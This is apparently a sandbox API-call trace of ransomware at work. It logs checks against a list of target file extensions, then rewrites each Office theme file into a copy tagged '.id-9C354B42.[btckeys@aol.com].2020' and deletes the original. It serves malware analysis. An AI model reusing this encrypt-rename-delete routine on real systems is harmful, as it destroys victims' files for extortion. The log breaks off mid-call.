lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0081.318] lstrlenW (lpString=".doc") returned 4 [0081.318] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0081.318] lstrlenW (lpString=".docx") returned 5 [0081.318] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0081.318] lstrlenW (lpString=".pdf") returned 4 [0081.318] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0081.318] lstrlenW (lpString=".xls") returned 4 [0081.318] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0081.318] lstrlenW (lpString=".xlsx") returned 5 [0081.318] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0081.318] lstrlenW (lpString=".ppt") returned 4 [0081.318] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0081.318] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0081.318] lstrlenW (lpString=".zip") returned 4 [0081.318] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0081.318] lstrlenW (lpString=".rar") returned 4 [0081.318] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0081.318] lstrlenW (lpString=".bz2") returned 4 [0081.318] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0081.318] lstrlenW (lpString=".7z") returned 3 [0081.318] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0081.318] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0081.318] lstrlenW (lpString=".dbf") returned 4 [0081.318] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0081.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0081.319] lstrlenW (lpString=".1cd") returned 4 [0081.319] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0081.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0081.319] lstrlenW (lpString=".jpg") returned 4 [0081.319] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0081.319] lstrcmpiW (lpString1=".PNG", lpString2=".2020") returned 1 [0081.319] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0081.319] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0081.749] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2caff1c | out: lpFileSize=0x2caff1c*=19485) returned 1 [0081.750] CloseHandle (hObject=0x198) returned 1 [0081.750] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png")) returned 0x20 [0081.750] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0081.750] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0081.750] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0081.750] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0081.750] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0081.751] GetLastError () returned 0x0 [0081.751] ReadFile (in: hFile=0x198, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cafed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2cafed4*=0x4c1d, lpOverlapped=0x0) returned 1 [0081.821] WriteFile (in: hFile=0x204, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x4c20, lpNumberOfBytesWritten=0x2cafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2cafc9c*=0x4c20, lpOverlapped=0x0) returned 1 [0081.823] ReadFile (in: hFile=0x198, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cafed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2cafed4*=0x0, lpOverlapped=0x0) returned 1 [0081.824] WriteFile (in: hFile=0x204, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2cafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2cafc9c*=0xec, lpOverlapped=0x0) returned 1 [0081.824] SetEndOfFile (hFile=0x204) returned 1 [0081.824] CloseHandle (hObject=0x204) returned 1 [0081.824] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0081.824] SetEndOfFile (hFile=0x198) returned 1 [0081.825] CloseHandle (hObject=0x198) returned 1 [0081.825] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0081.826] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png")) returned 1 [0081.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0081.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0081.826] lstrlenW (lpString=".doc") returned 4 [0081.826] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0081.826] lstrlenW (lpString=".docx") returned 5 [0081.826] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0081.826] lstrlenW (lpString=".pdf") returned 4 [0081.826] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0081.826] lstrlenW (lpString=".xls") returned 4 [0081.827] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0081.827] lstrlenW (lpString=".xlsx") returned 5 [0081.827] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0081.827] lstrlenW (lpString=".ppt") returned 4 [0081.827] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0081.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0081.827] lstrlenW (lpString=".zip") returned 4 [0081.827] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0081.827] lstrlenW (lpString=".rar") returned 4 [0081.827] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0081.827] lstrlenW (lpString=".bz2") returned 4 [0081.827] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0081.827] lstrlenW (lpString=".7z") returned 3 [0081.827] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0081.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0081.827] lstrlenW (lpString=".dbf") returned 4 [0081.827] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0081.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0081.827] lstrlenW (lpString=".1cd") returned 4 [0081.827] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0081.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0081.827] lstrlenW (lpString=".jpg") returned 4 [0081.827] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0081.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0081.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0081.827] lstrlenW (lpString=".doc") returned 4 [0081.828] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0081.828] lstrlenW (lpString=".docx") returned 5 [0081.828] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0081.828] lstrlenW (lpString=".pdf") returned 4 [0081.828] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0081.828] lstrlenW (lpString=".xls") returned 4 [0081.828] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0081.828] lstrlenW (lpString=".xlsx") returned 5 [0081.828] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0081.828] lstrlenW (lpString=".ppt") returned 4 [0081.828] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0081.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0081.828] lstrlenW (lpString=".zip") returned 4 [0081.828] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0081.828] lstrlenW (lpString=".rar") returned 4 [0081.828] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0081.828] lstrlenW (lpString=".bz2") returned 4 [0081.828] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0081.828] lstrlenW (lpString=".7z") returned 3 [0081.828] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0081.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0081.828] lstrlenW (lpString=".dbf") returned 4 [0081.828] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0081.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0081.828] lstrlenW (lpString=".1cd") returned 4 [0081.828] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0081.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0081.828] lstrlenW (lpString=".jpg") returned 4 [0081.828] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0081.829] lstrcmpiW (lpString1=".GIF", lpString2=".2020") returned 1 [0081.829] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0081.829] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0081.829] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2caff1c | out: lpFileSize=0x2caff1c*=1339) returned 1 [0081.829] CloseHandle (hObject=0x198) returned 1 [0081.830] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif")) returned 0x20 [0081.830] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0081.830] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0081.830] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0081.830] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0081.830] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0081.872] GetLastError () returned 0x0 [0081.872] ReadFile (in: hFile=0x198, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cafed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2cafed4*=0x53b, lpOverlapped=0x0) returned 1 [0081.890] WriteFile (in: hFile=0x204, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x2cafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2cafc9c*=0x540, lpOverlapped=0x0) returned 1 [0081.894] ReadFile (in: hFile=0x198, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cafed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2cafed4*=0x0, lpOverlapped=0x0) returned 1 [0081.894] WriteFile (in: hFile=0x204, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2cafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2cafc9c*=0xea, lpOverlapped=0x0) returned 1 [0081.894] SetEndOfFile (hFile=0x204) returned 1 [0081.894] CloseHandle (hObject=0x204) returned 1 [0081.894] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0081.894] SetEndOfFile (hFile=0x198) returned 1 [0081.895] CloseHandle (hObject=0x198) returned 1 [0081.895] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0081.895] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif")) returned 1 [0081.896] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0081.896] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0081.896] lstrlenW (lpString=".doc") returned 4 [0081.896] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0081.896] lstrlenW (lpString=".docx") returned 5 [0081.896] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0081.896] lstrlenW (lpString=".pdf") returned 4 [0081.896] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0081.896] lstrlenW (lpString=".xls") returned 4 [0081.896] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0081.896] lstrlenW (lpString=".xlsx") returned 5 [0081.896] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0081.896] lstrlenW (lpString=".ppt") returned 4 [0081.896] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0081.896] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0081.896] lstrlenW (lpString=".zip") returned 4 [0081.896] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0081.896] lstrlenW (lpString=".rar") returned 4 [0081.896] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0081.896] lstrlenW (lpString=".bz2") returned 4 [0081.896] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0081.896] lstrlenW (lpString=".7z") returned 3 [0081.896] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0081.896] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0081.896] lstrlenW (lpString=".dbf") returned 4 [0081.896] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0081.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0081.897] lstrlenW (lpString=".1cd") returned 4 [0081.897] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0081.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0081.897] lstrlenW (lpString=".jpg") returned 4 [0081.897] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0081.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0081.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0081.897] lstrlenW (lpString=".doc") returned 4 [0081.897] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0081.897] lstrlenW (lpString=".docx") returned 5 [0081.897] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0081.897] lstrlenW (lpString=".pdf") returned 4 [0081.897] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0081.897] lstrlenW (lpString=".xls") returned 4 [0081.897] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0081.897] lstrlenW (lpString=".xlsx") returned 5 [0081.897] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0081.897] lstrlenW (lpString=".ppt") returned 4 [0081.897] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0081.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0081.897] lstrlenW (lpString=".zip") returned 4 [0081.897] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0081.897] lstrlenW (lpString=".rar") returned 4 [0081.897] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0081.897] lstrlenW (lpString=".bz2") returned 4 [0081.897] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0081.897] lstrlenW (lpString=".7z") returned 3 [0081.897] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0081.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0081.897] lstrlenW (lpString=".dbf") returned 4 [0081.897] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0081.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0081.898] lstrlenW (lpString=".1cd") returned 4 [0081.898] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0081.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0081.898] lstrlenW (lpString=".jpg") returned 4 [0081.898] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0081.898] lstrcmpiW (lpString1=".PNG", lpString2=".2020") returned 1 [0081.898] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0081.898] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0081.899] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2caff1c | out: lpFileSize=0x2caff1c*=16738) returned 1 [0081.899] CloseHandle (hObject=0x198) returned 1 [0081.899] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png")) returned 0x20 [0081.899] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0081.899] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0081.899] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0081.899] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0081.900] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0081.900] GetLastError () returned 0x0 [0081.900] ReadFile (in: hFile=0x198, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cafed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2cafed4*=0x4162, lpOverlapped=0x0) returned 1 [0081.901] WriteFile (in: hFile=0x204, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x4170, lpNumberOfBytesWritten=0x2cafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2cafc9c*=0x4170, lpOverlapped=0x0) returned 1 [0081.902] ReadFile (in: hFile=0x198, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cafed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2cafed4*=0x0, lpOverlapped=0x0) returned 1 [0081.902] WriteFile (in: hFile=0x204, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2cafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2cafc9c*=0xec, lpOverlapped=0x0) returned 1 [0081.902] SetEndOfFile (hFile=0x204) returned 1 [0081.902] CloseHandle (hObject=0x204) returned 1 [0081.902] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0081.903] SetEndOfFile (hFile=0x198) returned 1 [0081.904] CloseHandle (hObject=0x198) returned 1 [0081.904] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0081.904] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png")) returned 1 [0081.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0081.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0081.904] lstrlenW (lpString=".doc") returned 4 [0081.905] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0081.905] lstrlenW (lpString=".docx") returned 5 [0081.905] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0081.905] lstrlenW (lpString=".pdf") returned 4 [0081.905] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0081.905] lstrlenW (lpString=".xls") returned 4 [0081.905] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0081.905] lstrlenW (lpString=".xlsx") returned 5 [0081.905] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0081.905] lstrlenW (lpString=".ppt") returned 4 [0081.905] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0081.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0081.905] lstrlenW (lpString=".zip") returned 4 [0081.905] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0081.905] lstrlenW (lpString=".rar") returned 4 [0081.905] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0081.905] lstrlenW (lpString=".bz2") returned 4 [0081.905] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0081.905] lstrlenW (lpString=".7z") returned 3 [0081.905] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0081.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0081.905] lstrlenW (lpString=".dbf") returned 4 [0081.905] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0081.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0081.906] lstrlenW (lpString=".1cd") returned 4 [0081.906] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0081.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0081.906] lstrlenW (lpString=".jpg") returned 4 [0081.906] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0081.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0081.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0081.906] lstrlenW (lpString=".doc") returned 4 [0081.906] lstrcmpiW 